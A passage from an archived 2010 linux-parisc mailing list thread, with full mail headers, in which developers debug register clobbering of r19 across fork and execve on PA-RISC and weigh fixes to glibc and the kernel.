                  CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD, =
 \
                  NULL, NULL, NULL, &THREAD_SELF->tid)

INLINE_SYSCALL does:
                asm volatile(                                          =
 \
                        SAVE_ASM_PIC                                   =
 \
                        "       ble  0x100(%%sr2, %%r0)\n"             =
 \
                        "       ldi %1, %%r20\n"                       =
 \
                        LOAD_ASM_PIC                                   =
 \
                        : "=3Dr" (__res)                               =
   \
                        : "i" (SYS_ify(name)) PIC_REG_USE ASM_ARGS_##nr=
 \
                        : "memory", CALL_CLOB_REGS CLOB_ARGS_##nr      =
 \
                );                                                     =
 \

So r19 is saved/restored around the clone syscall, but *ONLY* if the
code is PIC.

Therefore in your non-PIC case it will corrupt r19.

Actually, looking at the fork/vfork/clone wrappers in entry.S they
clobber two registers:

        /* These are call-clobbered registers and therefore
           also syscall-clobbered (we hope). */
        STREG   %r2,PT_GR19(%r1)        /* save for child */
        STREG   %r30,PT_GR21(%r1)

It would appear that r21 is also clobbered.

Does this mean that we need to either (a) fix the kernel to stop
clobbering r19 and r21 or fix userspace?

I'm inclined to think the kernel is wrong, and lazy here, and pt_regs
should have another PT_GR2_CHILD and PT_GR30_CHILD entries for the
case above.

Comments?

> (gdb) disass 0x0003f44c 0x0003f458
> Dump of assembler code from 0x3f44c to 0x3f458:
> 0x0003f44c <fork+400>: =A0be,l 100(sr2,r0),sr0,r31
> 0x0003f450 <fork+404>: =A0ldi 78,r20
> 0x0003f454 <fork+408>: =A0nop
>
> Breakpoint 5, 0x0003f44c in fork ()
> (gdb) p/x $r19
> $6 =3D 0x0
>
> Breakpoint 4, 0x0003f454 in fork ()
> (gdb) p/x $r19
> $7 =3D 0x10101364
>
> Same value for %r19 is returned for both parent and child.
>
> This is using application linked with -static (i.e., libc.a). =A0Prob=
ably,
> shared lib is different.

I hope my explanation above shows why r19 is clobbered.

I hadn't thought about the static case and a non-PIC register use of r1=
9.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 16:39:22 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <119aab441003281339p184be3d3x167b7a7684af98d8@mail.gmail.com>
References: <119aab441003281240m6be2cedeh3b8ce77d39d095be@mail.gmail.com>
	 <20100328202239.162785145@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269808770 6268 80.91.229.12 (28 Mar 2010 20:39:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 20:39:30 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 22:39:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvzGX-0004RC-7v
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 22:39:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755229Ab0C1UjY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 16:39:24 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:35191 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755238Ab0C1UjY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 16:39:24 -0400
Original-Received: by wyb39 with SMTP id 39so700174wyb.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 13:39:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=LdjBDMU08P8HSWwcxynAiPIc8F3kVbKGcNBqJ9pbWgo=;
        b=qUWh4hfWxuH1xvdGZwXNiRemaZeiYrESZUPpuoVJg282+UGUxlrKiFfXjxK5z51gha
         xccGIIJfML8xqUlwjpDAq4+JPb+kEvE6GP8FWvDhfhBYXpo9GMuLoP+AvKX5w4d3BF8N
         FDhV+LkmmJ9gG5B2XyGfn8aS+HtWzH1T9Lo5A=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ug3nkBTFtDRuiPha2jm1gw5zn1YA5lnJQ/Tq9K2bOdBkbqjVNvcEvDVcthNabMal7W
         qxsMCKwwYgz3HbxuQmkV65Q6UGxqUumPVHmz3fgO7x1LpHBS2mPkMjxeuSYzCvX2lxw3
         LIa98zcUGs9eBfXAtvotSiejLNFVRHkh3NVXE=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 13:39:22 -0700 (PDT)
In-Reply-To: <20100328202239.162785145@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: b399c5fb1bcf4f44
Original-Received: by 10.216.91.18 with SMTP id g18mr1596044wef.203.1269808762565; Sun, 
	28 Mar 2010 13:39:22 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2723>

On Sun, Mar 28, 2010 at 4:22 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Does this mean that we need to either (a) fix the kernel to stop
>> clobbering r19 and r21 or fix userspace?
>
> r21 is an syscall argument register and it looks like CLOB_ARGS_*
> handles it. =A0So, I doubt we need to worry about about r21.

Right.

>> I'm inclined to think the kernel is wrong, and lazy here, and pt_reg=
s
>> should have another PT_GR2_CHILD and PT_GR30_CHILD entries for the
>> case above.
>
> Fixing the kernel will fix broken userspace code. =A0Fixing glibc to
> save and restore r19 in non-PIC code will allow new code to work
> with broken kernels. =A0Thus, I tend to think both should be fixed.

Agreed, I'll get a fix for this into glibc.

> Instead of using PT_GR19 and PT_GR21, can't we use PT_SR4 and PT_SR5
> to store r2 and r30 for the child. =A0We don't seem to ever actually
> save sr4 or sr5 in the syscall path and we restore fixed values.
> This is a hack, but avoids increasing the size of the task structure.

I don't like hacks like this. They are confusing and hard to maintain.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 17:04:39 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com>
References: <119aab441003281339p184be3d3x167b7a7684af98d8@mail.gmail.com>
	 <20100328210134.3D6005145@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269810289 11361 80.91.229.12 (28 Mar 2010 21:04:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 21:04:49 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 23:04:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nvzf2-0008AZ-NG
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 23:04:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755164Ab0C1VEo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 17:04:44 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:59622 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754207Ab0C1VEn convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 17:04:43 -0400
Original-Received: by wyb39 with SMTP id 39so707374wyb.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 14:04:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=moNLGuox90YofenqdpDPPKiv5OxyPnWZJ6RUT2CXKlg=;
        b=hXGjbeJewncAb266LNLSgra6rmNnN+OrkUqdAJiNdXLeu/rFEgnKMq2B5k4D7FVKsr
         gWc9n6iYsx3poxzLcW8QBUZoQ/TT07c+VzkPciCYRGQQFt0iZnuUxt2SX/tt8Cqwduvs
         S5FMcWym3AwZAMtgIXig1Ue6se1HmWEleS7ao=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=R2eoPuLOsXvUVwrnBm7V/wgUuNOJhMx8Ffo5U6OIfL6uDaVZX4+ZXgEOGQVXV5XvZN
         UHHlHbTL0xKiGSciKNEbyorautwtcJfJVxZa+Nzh132OuzuEVaxDuEeochtSJG2QS2RF
         fQOW6vjujO1ZdwKqTwxie17VFOIrolExF8su8=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 14:04:39 -0700 (PDT)
In-Reply-To: <20100328210134.3D6005145@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 4720a12bff01f4de
Original-Received: by 10.216.88.4 with SMTP id z4mr2468697wee.121.1269810279917; Sun, 
	28 Mar 2010 14:04:39 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2724
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2724>

On Sun, Mar 28, 2010 at 5:01 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> > Instead of using PT_GR19 and PT_GR21, can't we use PT_SR4 and PT_S=
R5
>> > to store r2 and r30 for the child. =A0We don't seem to ever actual=
ly
>> > save sr4 or sr5 in the syscall path and we restore fixed values.
>> > This is a hack, but avoids increasing the size of the task structu=
re.
>>
>> I don't like hacks like this. They are confusing and hard to maintai=
n.
>
> However, it says in ptrace.h:
>
> =A0* N.B. gdb/strace care about the size and offsets within this
> =A0* structure. If you change things, you may break object compatibil=
ity
> =A0* for those applications.
>
> There is one free slot in pt_regs:
>
> =A0 =A0 =A0 =A0unsigned long pad0; =A0 =A0 /* available for other use=
s */
>
> Given that this struct leaks to userspace, I don't think we should
> mess with it.

Maybe. I would certainly test this out before adding new entries.

If I provide you with a new glibc with the r19 fix would you be able
to test it out?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 19:12:53 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com>
	 <20100328212110.03F224E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1269817985 3401 80.91.229.12 (28 Mar 2010 23:13:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 23:13:05 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 01:12:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nw1f8-00059m-0G
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 01:12:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755349Ab0C1XMz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 19:12:55 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:41843 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755348Ab0C1XMz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 19:12:55 -0400
Original-Received: by wwe15 with SMTP id 15so7909058wwe.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 16:12:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:content-type;
        bh=I12X45ElS6nLTUskporEH4VanvnSI/JUfWtBzWpvZp4=;
        b=PFwP1bHyE69pfwyBDhSPB4IoiRjtwrs1aqPw4qOTsNOzb0Xmj6wE0MW2mXXkpS6bsP
         mVH66XIjFL7XT7Da3lmSqGb+5X/7Tz1BBCzrgcXOs5b2ChIsoS9JR2lTyf3JZJwin11O
         vy0r19LGGRuM301TeN3uJZSSiOjUkVf97u+0Y=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        b=N7TXjQxUBPdJdSxhkGb33j94/Z7kejrp5n1MCwfS5Kl1RMrlYUkGvCNeiojqGn0gH0
         JRAmqQFPQG49Os+47RxeMtEkPEo0lzpyMmX3tNiprkItcypH6QOayAMn6+7Z7RyrmE9Q
         F1nz4T3JWxZH13gpOvAvbT0p71W993Q6Pe4fM=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 16:12:53 -0700 (PDT)
In-Reply-To: <20100328212110.03F224E77@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 438335bd88a5302b
Original-Received: by 10.216.85.19 with SMTP id t19mr2573809wee.107.1269817974020; Sun, 
	28 Mar 2010 16:12:54 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2725
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2725>

On Sun, Mar 28, 2010 at 5:21 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> If I provide you with a new glibc with the r19 fix would you be able
>> to test it out?
>
> Yes.

I know it's easier to debug a static application for these cases, so I
think a fixed glibc will help.

I have an unstable libc6 currently building with the changes to
save/restore r19 in all cases.

We still aren't any closer to explaining why my shared case doesn't work.

I still don't have a good answer to this question:

* What prevents the execve from returning to userspace?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 19:59:38 -0400
Organization: nrc.ca
Lines: 47
Approved: news@gmane.org
Message-ID: <20100328235937.GA5806@hiauly1.hia.nrc.ca>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com> <20100328212110.03F224E77@hiauly1.hia.nrc.ca> <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1269820791 10656 80.91.229.12 (28 Mar 2010 23:59:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 23:59:51 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 01:59:44 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nw2OM-0007tT-AD
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 01:59:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755411Ab0C1X7l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 19:59:41 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2338 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755381Ab0C1X7l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 19:59:41 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4B1334E77; Sun, 28 Mar 2010 19:59:38 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2726
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2726>

On Sun, 28 Mar 2010, Carlos O'Donell wrote:

> On Sun, Mar 28, 2010 at 5:21 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> If I provide you with a new glibc with the r19 fix would you be able
> >> to test it out?
> >
> > Yes.
> 
> I know it's easier to debug a static application for these cases, so I
> think a fixed glibc will help.

Yes.

It's proving more difficult than I thought to fix the kernel and
I'm not sure I understand how this works:

        LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
	LDREG   TASK_PT_GR19(%r1),%r2
	b       wrapper_exit
	copy    %r0,%r28

It appears the child has to access the parent's pt_regs struct
to load the return for the child.

> I have an unstable libc6 currently building with the changes to
> save/restore r19 in all cases.

Great.

> We still aren't any closer to explaining why my shared case doesn't work.
> 
> I still don't have a good answer to this question:
> 
> * What prevents the execve from returning to userspace?

I presume you mean the caller's userspace.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 20:24:11 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <119aab441003281724h78186fbwa415f7ac046269e2@mail.gmail.com>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com>
	 <20100328212110.03F224E77@hiauly1.hia.nrc.ca>
	 <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com>
	 <20100328235937.GA5806@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269822268 14612 80.91.229.12 (29 Mar 2010 00:24:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Mar 2010 00:24:28 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 02:24:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nw2m6-0001I8-Fx
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 02:24:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755448Ab0C2AYN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 20:24:13 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:37531 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755381Ab0C2AYM convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 20:24:12 -0400
Original-Received: by wyb39 with SMTP id 39so756678wyb.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 17:24:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=rYcjLSqhg8OdIUiKuhARnr7gk3ojcwiX8U9spqrHhUQ=;
        b=szDOGtq4Fmiz4MussSrXa2hS5NastC70oaIdiqenPUy2LRWP4NHejxU+vgEA0UC3SO
         6k6E+PbHF2et0/Pysswf9Hfp59ya9k3xeRehVEb69PwFfLjlZ/bE2UGqLv+JuvfGGe90
         MSBZwDcQgqRar1lxtDKcD3OYcLZWWasZK+bwY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=FSZYau7mcmRv/xXe99zgMNS4fVZco/zj6FnbdxuRCsoscrI0jka3Yc8Xce+pMGnDqt
         ZknyBr1ykejDlsffUlTqfapR2sVtG11nyUBu3Y7uIg8qJkSyjQmcvIw4q8weBXFEdTnn
         E4bjck07uGiABxS1t369ZSOYh+kYwQWVtrVgw=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 17:24:11 -0700 (PDT)
In-Reply-To: <20100328235937.GA5806@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: cdd392935d03c936
Original-Received: by 10.216.167.131 with SMTP id i3mr2686538wel.94.1269822251365; Sun, 
	28 Mar 2010 17:24:11 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2727
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2727>

On Sun, Mar 28, 2010 at 7:59 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> I know it's easier to debug a static application for these cases, so=
 I
>> think a fixed glibc will help.
>
> Yes.
>
> It's proving more difficult than I thought to fix the kernel and
> I'm not sure I understand how this works:
>
> =A0 =A0 =A0 =A0LDREG =A0 TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE=
(%r30), %r1
> =A0 =A0 =A0 =A0LDREG =A0 TASK_PT_GR19(%r1),%r2
> =A0 =A0 =A0 =A0b =A0 =A0 =A0 wrapper_exit
> =A0 =A0 =A0 =A0copy =A0 =A0%r0,%r28
>
> It appears the child has to access the parent's pt_regs struct
> to load the return for the child.

I see that copy_process in do_fork will give the child a copy of the
entire pt_reg structure so it has access to these values anyway?

>> * What prevents the execve from returning to userspace?
>
> I presume you mean the caller's userspace.

Yes, the process that calls execve.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 22:38:54 -0400
Organization: nrc.ca
Lines: 43
Approved: news@gmane.org
Message-ID: <20100329023854.GA6633@hiauly1.hia.nrc.ca>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com> <20100328212110.03F224E77@hiauly1.hia.nrc.ca> <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com> <20100328235937.GA5806@hiauly1.hia.nrc.ca> <119aab441003281724h78186fbwa415f7ac046269e2@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269830346 408 80.91.229.12 (29 Mar 2010 02:39:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Mar 2010 02:39:06 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 04:39:01 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nw4sU-0005Bb-FJ
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 04:38:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755758Ab0C2Ci6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 22:38:58 -0400
